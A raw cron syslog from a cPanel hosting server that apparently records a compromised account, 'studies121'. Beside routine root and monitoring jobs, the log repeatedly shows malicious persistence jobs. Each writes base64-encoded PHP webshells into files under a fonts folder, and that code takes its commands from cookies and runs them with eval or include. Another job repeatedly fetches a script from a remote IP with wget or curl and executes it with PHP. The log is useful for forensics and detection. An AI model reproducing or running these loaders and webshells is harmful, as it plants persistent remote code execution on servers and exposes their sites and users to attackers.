Sep  6 23:34:01 ip-184-168-122-23 CROND[13015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:34:01 ip-184-168-122-23 CROND[13012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:35:01 ip-184-168-122-23 CROND[13101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:35:01 ip-184-168-122-23 CROND[13102]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 23:35:01 ip-184-168-122-23 CROND[13108]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:35:01 ip-184-168-122-23 CROND[13109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:35:01 ip-184-168-122-23 CROND[13104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:35:01 ip-184-168-122-23 CROND[13105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:35:01 ip-184-168-122-23 CROND[13103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:35:01 ip-184-168-122-23 CROND[13107]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 23:36:01 ip-184-168-122-23 CROND[13224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:36:01 ip-184-168-122-23 CROND[13228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:36:01 ip-184-168-122-23 CROND[13226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:36:01 ip-184-168-122-23 CROND[13229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:36:01 ip-184-168-122-23 CROND[13227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:37:01 ip-184-168-122-23 CROND[13308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:37:01 ip-184-168-122-23 CROND[13311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:37:01 ip-184-168-122-23 CROND[13310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:37:01 ip-184-168-122-23 CROND[13312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:38:01 ip-184-168-122-23 CROND[13398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:38:01 ip-184-168-122-23 CROND[13400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:38:01 ip-184-168-122-23 CROND[13401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:38:01 ip-184-168-122-23 CROND[13402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:38:01 ip-184-168-122-23 CROND[13403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:39:01 ip-184-168-122-23 CROND[13576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:39:01 ip-184-168-122-23 CROND[13578]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 23:39:01 ip-184-168-122-23 CROND[13581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:39:01 ip-184-168-122-23 CROND[13580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:39:01 ip-184-168-122-23 CROND[13579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:40:01 ip-184-168-122-23 CROND[13673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:40:01 ip-184-168-122-23 CROND[13672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:40:01 ip-184-168-122-23 CROND[13674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:40:01 ip-184-168-122-23 CROND[13682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:40:01 ip-184-168-122-23 CROND[13683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:40:01 ip-184-168-122-23 CROND[13680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:40:01 ip-184-168-122-23 CROND[13681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:40:01 ip-184-168-122-23 CROND[13684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:41:01 ip-184-168-122-23 CROND[13770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:41:01 ip-184-168-122-23 CROND[13773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:41:01 ip-184-168-122-23 CROND[13772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:41:01 ip-184-168-122-23 CROND[13771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:42:01 ip-184-168-122-23 CROND[13853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:42:01 ip-184-168-122-23 CROND[13855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:42:01 ip-184-168-122-23 CROND[13858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:42:01 ip-184-168-122-23 CROND[13857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:42:01 ip-184-168-122-23 CROND[13859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:43:01 ip-184-168-122-23 CROND[13936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:43:01 ip-184-168-122-23 CROND[13938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:43:01 ip-184-168-122-23 CROND[13940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:43:01 ip-184-168-122-23 CROND[13939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:44:01 ip-184-168-122-23 CROND[14104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:44:01 ip-184-168-122-23 CROND[14105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:44:01 ip-184-168-122-23 CROND[14108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:44:01 ip-184-168-122-23 CROND[14111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:44:01 ip-184-168-122-23 CROND[14109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:45:01 ip-184-168-122-23 CROND[14199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:45:01 ip-184-168-122-23 CROND[14200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:45:01 ip-184-168-122-23 CROND[14202]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:45:01 ip-184-168-122-23 CROND[14206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:45:01 ip-184-168-122-23 CROND[14208]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:45:01 ip-184-168-122-23 CROND[14207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:46:01 ip-184-168-122-23 CROND[14293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:46:01 ip-184-168-122-23 CROND[14295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:46:01 ip-184-168-122-23 CROND[14297]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 23:46:01 ip-184-168-122-23 CROND[14299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
